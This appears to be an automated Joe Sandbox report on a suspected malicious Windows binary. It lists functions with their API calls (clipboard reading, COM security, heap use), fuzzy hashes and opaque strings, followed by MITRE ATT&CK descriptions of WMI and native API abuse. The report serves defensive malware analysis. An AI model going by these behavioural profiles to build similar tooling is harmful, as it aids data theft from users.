Function 0043B720 Relevance: 3.0, APIs: 2, Instructions: 31COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0043B720
GetForegroundWindow.USER32 ref: 0043B740

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: a4781643aa2d8fd57512208f1c3e62aa4b8d5176cb57333a04816d28865289df
Instruction ID: 191facca889f69fa70601903ca8693053aaba1cbaba24685dbffd0b384c421fe
Opcode Fuzzy Hash: a4781643aa2d8fd57512208f1c3e62aa4b8d5176cb57333a04816d28865289df
Instruction Fuzzy Hash: 7ED0A7FDD20110EBC604AB71FC4A41B3A1AEB4722DB545539EC0343352DA39782E868F

Function 0043B420 Relevance: 1.5, APIs: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,?,?,?,0040B29B,?,00000001,?,?,?,?,?,?,?), ref: 0043B452

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c927d8c6f07db5a3335dd59de96673b47f735cea6f05c616f97ff7e83687720b
Instruction ID: a89ac6462aaa6a8a5f29c09ee71e481237a955995f4f3f89a98fbf9f2f2a6ed3
Opcode Fuzzy Hash: c927d8c6f07db5a3335dd59de96673b47f735cea6f05c616f97ff7e83687720b
Instruction Fuzzy Hash: FBE0E536904210EBD2002B357C06B177678EF9B715F060436F40152115D739E801C5DE

Function 00430879 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 004308C3

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 83941c5ff406fddefe2a55fc962621e55030b9d07cbba56e81ba996dd76ec11c
Instruction ID: 1146a04256a80fd680d05c5d227ab35205256b262c73fed29a8c8dc337ffb545
Opcode Fuzzy Hash: 83941c5ff406fddefe2a55fc962621e55030b9d07cbba56e81ba996dd76ec11c
Instruction Fuzzy Hash: E00114B5249702CFE310CF64D5D8B4BBBF1AB84304F14892CE8A54B385C7B9A9498FC2

Function 0042E343 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 0042E38C

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: f641e3c77b6ce86b3dd807bf46eed919c30205036380bbbe1e710ba534cd93a1
Instruction ID: cdfd11b330a352dee93e16416f8877f043d61a2de36bf40ddff772d5b84e5129
Opcode Fuzzy Hash: f641e3c77b6ce86b3dd807bf46eed919c30205036380bbbe1e710ba534cd93a1
Instruction Fuzzy Hash: C601F9B86097058FE305DF28D498B5ABBF1FB89304F10881CE4958B3A1C779A949CF81

Function 0040CDF0 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0040CE03

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 61d928746ba4ae58ea54a0875f1c3d0382ed5290a25c5d8e3ced17899992ccae
Instruction ID: f1973b7854016afe0481596635c710bb103935c4c1c993b3491e04eff0e8badb
Opcode Fuzzy Hash: 61d928746ba4ae58ea54a0875f1c3d0382ed5290a25c5d8e3ced17899992ccae
Instruction Fuzzy Hash: 01D0A7345545486BD250A75CDD0BF563A5C9703B29F400239B763D61D1D9506920C669

Function 0040CE23 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040CE35

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 9269880a45a3c80f6ec8299234c73a1314589920fa48725fb3d67ea21efaca66
Instruction ID: 9bb2948b1e33ad1240181575e0f5375bfb099cf60bc3df2fdc322b3d55e14239
Opcode Fuzzy Hash: 9269880a45a3c80f6ec8299234c73a1314589920fa48725fb3d67ea21efaca66
Instruction Fuzzy Hash: CAD0C9343D83007AF5748B48ED53F1432169702F11FB00629F322FE6D4C9E07121861D

Function 00439B60 Relevance: 1.5, APIs: 1, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,00000000,00412F5C), ref: 00439B80

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: d0720c9dfbe2666778a34d5469e5ae55c8d5964329e0fb1cba2b62a2f878fbc3
Instruction ID: 8d81dc3d2e1c71e2762f942217139477682170591cb2c618f1865e02491f5b7e
Opcode Fuzzy Hash: d0720c9dfbe2666778a34d5469e5ae55c8d5964329e0fb1cba2b62a2f878fbc3
Instruction Fuzzy Hash: 76D0C935505126EBCA506B28BC15BC73A989F4A671F0708A1B4006A075C765EC919AD8

Function 00439B40 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,00414E57,00000400), ref: 00439B50

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a95155655fbe3eb8f0e77a05497d8175f8be12db265ae77d37b3e7249a9ffdc4
Instruction ID: 3d340f236624c1ae318c051adf9ea47d82c8c11c3707c94fc3fa8f772c7fe72e
Opcode Fuzzy Hash: a95155655fbe3eb8f0e77a05497d8175f8be12db265ae77d37b3e7249a9ffdc4
Instruction Fuzzy Hash: 91C04831145224ABDA10AB15EC09B8A3AA8AF496A1F1A04A6B005660B28760AC929A98

Non-executed Functions

Function 00419C10 Relevance: 17.0, APIs: 2, Strings: 7, Instructions: 1297COMMON

Download Yara Rule

APIs

Part of subcall function 0043B480: LdrInitializeThunk.NTDLL(0043D4FB,005C003F,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 0043B4AE

FreeLibrary.KERNEL32(?), ref: 0041A21A
FreeLibrary.KERNEL32(?), ref: 0041A29B

Strings

I,~M, xrefs: 0041AA47
#v, xrefs: 0041A21A, 0041A29B
cba`, xrefs: 00419C63
PQ, xrefs: 00419FAC
cba`, xrefs: 0041A13D
wEtG, xrefs: 00419F94
cba`, xrefs: 0041AA31

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID: FreeLibrary$InitializeThunk
String ID: I,~M$PQ$cba`$cba`$cba`$wEtG$#v
API String ID: 764372645-191422457
Opcode ID: 47063c938c01330124c9dc59b6d375a3b8a360990f39732c0e3748d67b9dcd4f
Instruction ID: ce701afe96e54189f6fff091c8333c98f5ae15aa60c98f01a083bef101dadeb2
Opcode Fuzzy Hash: 47063c938c01330124c9dc59b6d375a3b8a360990f39732c0e3748d67b9dcd4f
Instruction Fuzzy Hash: C59235746093409FE714CF65D891B6BBBE2EBD5300F28882EE58487391D7799C81CB9B

Function 00425920 Relevance: 12.9, Strings: 10, Instructions: 398COMMON

Download Yara Rule

Strings

cba`, xrefs: 00425C50
<b"d, xrefs: 004259AF
^P, xrefs: 00425A07
=j9l, xrefs: 0042599F
z%|, xrefs: 004259BF
3v#H, xrefs: 004259D7
&f?x, xrefs: 004259B7
"r,t, xrefs: 004259CF
Z\, xrefs: 004259FF
cba`, xrefs: 00425E6C

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID:
String ID: z%|$"r,t$&f?x$3v#H$<b"d$=j9l$cba`$cba`$Z\$^P
API String ID: 0-3047316687
Opcode ID: 45c83a3ddc5386c7eaecb6d0721308efe7616dc8ac7a87c6f5778f813dbd46f5
Instruction ID: 146473404e5499b4986dffa8d26f26e1c07bf5215faae6f3d7194190b628d0b4
Opcode Fuzzy Hash: 45c83a3ddc5386c7eaecb6d0721308efe7616dc8ac7a87c6f5778f813dbd46f5
Instruction Fuzzy Hash: C2D124B9608380DFE324DF15E88176BB7E1FBD5304F94982DE58587261D738D901CB4A

Function 00431A30 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 109clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00431A40
GetWindowLongW.USER32 ref: 00431A65
GetClipboardData.USER32 ref: 00431A75
GlobalLock.KERNEL32 ref: 00431A8E
GlobalUnlock.KERNEL32 ref: 00431B90
CloseClipboard.USER32 ref: 00431B99

Strings

K, xrefs: 00431B1E

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: K
API String ID: 2832541153-856455061
Opcode ID: 027abc228ed841da0674a97a3735ab7f080d79d715808bd082ae78d0cbe3e8e1
Instruction ID: 513562b2ac7e6d1d4712994eff6d7c1bc04b9d90a7c3137532ed1f51a9abc6ba
Opcode Fuzzy Hash: 027abc228ed841da0674a97a3735ab7f080d79d715808bd082ae78d0cbe3e8e1
Instruction Fuzzy Hash: 34418E6150C7818ED310AF7C988826FBFE09B96224F044A6EE8E5872D2E6389549C797

Function 0042D085 Relevance: 6.6, Strings: 5, Instructions: 368COMMON

Download Yara Rule

Strings

k, xrefs: 0042D4B6
P, xrefs: 0042D554
#, xrefs: 0042D4AC
0, xrefs: 0042D430
AGsW, xrefs: 0042D496

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID:
String ID: #$0$AGsW$P$k
API String ID: 0-1629916805
Opcode ID: a92c176f258902a07af39c1f8e4a41f6c7503ef90e7a1abad74dc0064dca0dbd
Instruction ID: 8816b6b3b95a3b8c405e0a0f8c285763547ceed8af8c8b555c70c7a9f783aa76
Opcode Fuzzy Hash: a92c176f258902a07af39c1f8e4a41f6c7503ef90e7a1abad74dc0064dca0dbd
Instruction Fuzzy Hash: 1CC1F4317183918ED328CF39D4513ABBBD2AFD2304F68866ED4D58B2D1D6798449C71B

Function 00415ADC Relevance: 5.4, Strings: 4, Instructions: 398COMMON

Download Yara Rule

Strings

neA, xrefs: 00415ECE
WL, xrefs: 00415C75
1/3T, xrefs: 0041611F
^Q, xrefs: 00415C83

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID:
String ID: 1/3T$WL$^Q$neA
API String ID: 0-3205570823
Opcode ID: ba18f0a771fe5c943f6b46e4d9dfc1ae68c5ab374dcf48f97578f812035a9b14
Instruction ID: 36620dcd79f832a97b090e2ed89ea61b800e286945c25bf48684ec17d430fe28
Opcode Fuzzy Hash: ba18f0a771fe5c943f6b46e4d9dfc1ae68c5ab374dcf48f97578f812035a9b14
Instruction Fuzzy Hash: A9D1CEB4100B01CFD7258F25C8A1BA3BBB1FF86314F19858DC8964F7A2D779A855CB94

Function 00422270 Relevance: 3.0, Strings: 2, Instructions: 501COMMON

Download Yara Rule

Strings

TU, xrefs: 00422296
c!", xrefs: 0042242F

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID:
String ID: TU$c!"
API String ID: 0-3813282519
Opcode ID: 757f52760972d6ea7efb3a276aabc71b80904803bdd1bf2a89c12d688fe9e935
Instruction ID: a4d5b8c078bf2433dc24120fb7555f1f32600d90c3be649242fb2c546733d6d2
Opcode Fuzzy Hash: 757f52760972d6ea7efb3a276aabc71b80904803bdd1bf2a89c12d688fe9e935
Instruction Fuzzy Hash: 27C16672B04310ABD714DB29ED5277BB3E2EFD5314F48852EE88587381E6BCE801875A

Function 0041D074 Relevance: 2.7, Strings: 2, Instructions: 211COMMON

Download Yara Rule

Strings

pr, xrefs: 0041D112
|~, xrefs: 0041D10A

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID:
String ID: pr$|~
API String ID: 0-4145297803
Opcode ID: ee8a3b8d263e0e2bc6467c896304b100a01db44200932090249312cc29dfec84
Instruction ID: 1c71e515e24bd4364ede3925d09e369eeeaf8989eca5e2d791649c7508655d54
Opcode Fuzzy Hash: ee8a3b8d263e0e2bc6467c896304b100a01db44200932090249312cc29dfec84
Instruction Fuzzy Hash: E451F0B0A0C3509BD7008F24D8127ABB7F1EF92319F1885AEE4C55B391E7399642CB5E

Function 0041D087 Relevance: 2.7, Strings: 2, Instructions: 207COMMON

Download Yara Rule

Strings

pr, xrefs: 0041D112
|~, xrefs: 0041D10A

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID:
String ID: pr$|~
API String ID: 0-4145297803
Opcode ID: 1cbfd2780bc33f3a437b09008cb0e627c906c1623d91543066de9fab292285fd
Instruction ID: b30244ed6a2ff3de417c81c30de102dda9fa652a451c4e072b4a3ececf8c80cf
Opcode Fuzzy Hash: 1cbfd2780bc33f3a437b09008cb0e627c906c1623d91543066de9fab292285fd
Instruction Fuzzy Hash: B751F4B460C3509BD7009F24C8126ABB7F1EF92315F1885ADE4C55B391E739D642CB5E

Function 0042536C Relevance: 2.7, Strings: 2, Instructions: 185COMMON

Download Yara Rule

Strings

BLJB, xrefs: 00425554
X, xrefs: 0042556A

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID:
String ID: BLJB$X
API String ID: 0-2222927247
Opcode ID: 85d985c10c38fb94c5f45cecc72a4b56871a758ab7e71e90a7e49e993c96917b
Instruction ID: 1af2eb929763e148cb4abff1c4585c52a2657f08fe5d59f4d12d45bf37d2de30
Opcode Fuzzy Hash: 85d985c10c38fb94c5f45cecc72a4b56871a758ab7e71e90a7e49e993c96917b
Instruction Fuzzy Hash: 13515531708B618BD730DE6894412FBBBE1DF55350F984A3ED8D987382E23CA545E74A

Function 00417190 Relevance: 1.6, Strings: 1, Instructions: 375COMMON

Download Yara Rule

Strings

RuA, xrefs: 00417542

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID:
String ID: RuA
API String ID: 0-3286949753
Opcode ID: d354970e6102b2f6e14b23a1e4f96fce490ba8160eb9c464f18d88e9fbdd3b3e
Instruction ID: 812d55878a62f6fab66defe66c88ae53172d99736bf38563795d352ae53827f1
Opcode Fuzzy Hash: d354970e6102b2f6e14b23a1e4f96fce490ba8160eb9c464f18d88e9fbdd3b3e
Instruction Fuzzy Hash: 8CB10234208701CFE7258F29D851B73B7F2EB4A711F1489ADD4968B392D738A882CB58

Function 0042AAD0 Relevance: 1.5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

Strings

", xrefs: 0042ACCE

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 08379c2cfec4ee4560f7149afc2674de524dbb751cb7c6d8c58db735b762b861
Instruction ID: 1b0d155936ea343f35509df964668f6b6c6c9246b28269455b7de3af52c0cfb1
Opcode Fuzzy Hash: 08379c2cfec4ee4560f7149afc2674de524dbb751cb7c6d8c58db735b762b861
Instruction Fuzzy Hash: D271E632B183254BD714CE28E58031BBBE3ABC5710F99856EE9949B391D238EC55C78B

Function 00425230 Relevance: 1.3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

Strings

cba`, xrefs: 004252B6

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID: InitializeThunk
String ID: cba`
API String ID: 2994545307-1926275841
Opcode ID: e363ae243e25186fafc727a7c143fe84283cddf713b74be5aabea9aa04b6da8b
Instruction ID: beb69707a00ddb1e0f288a180930159145dfafadf277c1aff9f3426dfcb85bde
Opcode Fuzzy Hash: e363ae243e25186fafc727a7c143fe84283cddf713b74be5aabea9aa04b6da8b
Instruction Fuzzy Hash: 47113536A44B204BC324CE289DC163777E1AB95314F95263DDCA9D33A1E278EC009AD9

Function 00407470 Relevance: .6, Instructions: 625COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4f2b084faef48d893cec2519f241ff843f37aefc35a02b9a69ce986de1685e5
Instruction ID: af49202ca076376fa415bca2a3091a328854806cafe53c7e33487b358e5641c5
Opcode Fuzzy Hash: b4f2b084faef48d893cec2519f241ff843f37aefc35a02b9a69ce986de1685e5
Instruction Fuzzy Hash: 9722B332A087118BD725DF18D9806ABB3E1BFC4319F19893ED986A7385D738B851CB47

Function 0043CAC0 Relevance: .5, Instructions: 548COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86b120d65a92fc5bdbbef3624e805ea907a676f62533a2aebf6e078355a3b7f7
Instruction ID: a0fb517757f1b8da7777bae7579d9f52a382c29ac2183c4fd28747a7d9f1db1e
Opcode Fuzzy Hash: 86b120d65a92fc5bdbbef3624e805ea907a676f62533a2aebf6e078355a3b7f7
Instruction Fuzzy Hash: F402127AB04216CFC704CF28E8906AAB7F2FB8A311F1A847ED58593351D734AD55CB86

Function 0043CBD6 Relevance: .5, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d076b9d010211f014a59fe34b7121c93ea0654b322b9de3976980b709a020c0e
Instruction ID: 0188f3e029ce03e8205a7a452b25b6dbd5bcd661a0513372e50984eaaf58ab41
Opcode Fuzzy Hash: d076b9d010211f014a59fe34b7121c93ea0654b322b9de3976980b709a020c0e
Instruction Fuzzy Hash: 98E12F79B04216CFC704CF68E8906AAB7F2FB8A312F1A847EE585D3351D334A955CB85

Function 00405910 Relevance: .4, Instructions: 449COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72ef3389d17b5c2d7356fca882b754ee43f181ee348d4ceda7fd19fbe0bcaa8a
Instruction ID: 292f23283d7cd07bb6fd19c8603031892cd16be448e450c68c3e166b8ce1a4f1
Opcode Fuzzy Hash: 72ef3389d17b5c2d7356fca882b754ee43f181ee348d4ceda7fd19fbe0bcaa8a
Instruction Fuzzy Hash: DAF1CF356087418FD724CF29C88066BFBE2EFD9304F08882EE5D597791E679E904CB5A

Function 00427307 Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c7e07812f1b8347d7007c075ffe03fcbbfb4954c80059fd09941d44e601273e
Instruction ID: cd3817f91458a04e6f4698fbdec964a5fe2b941d70aabd782eb82a79c60357af
Opcode Fuzzy Hash: 4c7e07812f1b8347d7007c075ffe03fcbbfb4954c80059fd09941d44e601273e
Instruction Fuzzy Hash: 4751EBB060C3208AC720DF60E49132BB7F0EFA2344F40492DD9D64B761EB799908DB9B

Function 004292D0 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54105d90293e4b8a7fe8cebbefda0a172f6c9cbfe66afa0c85e262d0473a1c3c
Instruction ID: 8a214a05a26fc8f928125f8fb48cb90f3e515442b7647201508495c5dbe42c78
Opcode Fuzzy Hash: 54105d90293e4b8a7fe8cebbefda0a172f6c9cbfe66afa0c85e262d0473a1c3c
Instruction Fuzzy Hash: DA4127B2B193504BD71CCF258CA275FFBA2EBC5308F16883DE5869B284CA7494078B45

Function 00436B20 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91220374a97f5aff33aa7e71888e41c88829f78e25f822e198eb2ef461918297
Instruction ID: 504e49b0b2ddc2a099550f91d12c5185d5b4ceea0bdb26274afb8cde00bc0dbb
Opcode Fuzzy Hash: 91220374a97f5aff33aa7e71888e41c88829f78e25f822e198eb2ef461918297
Instruction Fuzzy Hash: B5314632A083385B83249E5D8982067F7E8EBCD714F1AE12FD884E7311E574ED0147C5

Function 0041597D Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 73dc7dffa9da4718634bc1df2c87a66b7a70c35b3b00ffd698cd8eaa02142161
Instruction ID: d5ab4806ffe72a1369b891b0c03ce99b48dccca7df38fd9f7e726c1ee5c76a78
Opcode Fuzzy Hash: 73dc7dffa9da4718634bc1df2c87a66b7a70c35b3b00ffd698cd8eaa02142161
Instruction Fuzzy Hash: 250124347A0A01DBE7258B15A891BB37293FB82310FA49029E18293281DB69AC91875D

Function 0042A060 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a62376ffa6d90c1baa96e3dbf302ab3dfe7742f197fede568b4cb05d9ce342f2
Instruction ID: 81ebb7552e56e7d5adf40a514b1d7c04d719dbb311c9cbdb1d4034df3b6f2776
Opcode Fuzzy Hash: a62376ffa6d90c1baa96e3dbf302ab3dfe7742f197fede568b4cb05d9ce342f2
Instruction Fuzzy Hash: D601D4F5B00B1147D7309E11A5C0B27B2A9AF8070CF59443EED4467342DB7EEC28C69A

Function 00402B70 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dabecf6e6ddfb1cdd8269c5c9ebdc2cc04a1f760bd0808b9cf36547e64e5e14a
Instruction ID: dad6f7438d27f99e102fe50886f5565f1d4720bfb2582f27d129ae765fd9d515
Opcode Fuzzy Hash: dabecf6e6ddfb1cdd8269c5c9ebdc2cc04a1f760bd0808b9cf36547e64e5e14a
Instruction Fuzzy Hash: EEF0E937B1551607A214DD26ACC453BB366D7C6314B295439E841E3281C979F80692B8

Function 0042B475 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 676c11319c11e30e550c5dd480f93aa2d5812f95884204bdcd3370e1ab4f8030
Instruction ID: c74ae76d4aeefb6f888da0d67bba939e79ddb671e6929748130615be24dd088f
Opcode Fuzzy Hash: 676c11319c11e30e550c5dd480f93aa2d5812f95884204bdcd3370e1ab4f8030
Instruction Fuzzy Hash: E6D022789048005BC608EB10EE12639B2688F4B2AEF00303DE443FF353CE38EC60890E

Function 0040C274 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32957ae45f5fb5a31ef22e0da77331464b0a71ff3474b199ef627a84159dc668
Instruction ID: 52fe0259059b82c7cb9fb3d0f913ef24527c2e8030ec2916e1bb67edfa7a0227
Opcode Fuzzy Hash: 32957ae45f5fb5a31ef22e0da77331464b0a71ff3474b199ef627a84159dc668
Instruction Fuzzy Hash: 01D0122494A2994AD3068F389CA1731BBB1EF03100F442558D142DB291C7D09016865C

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
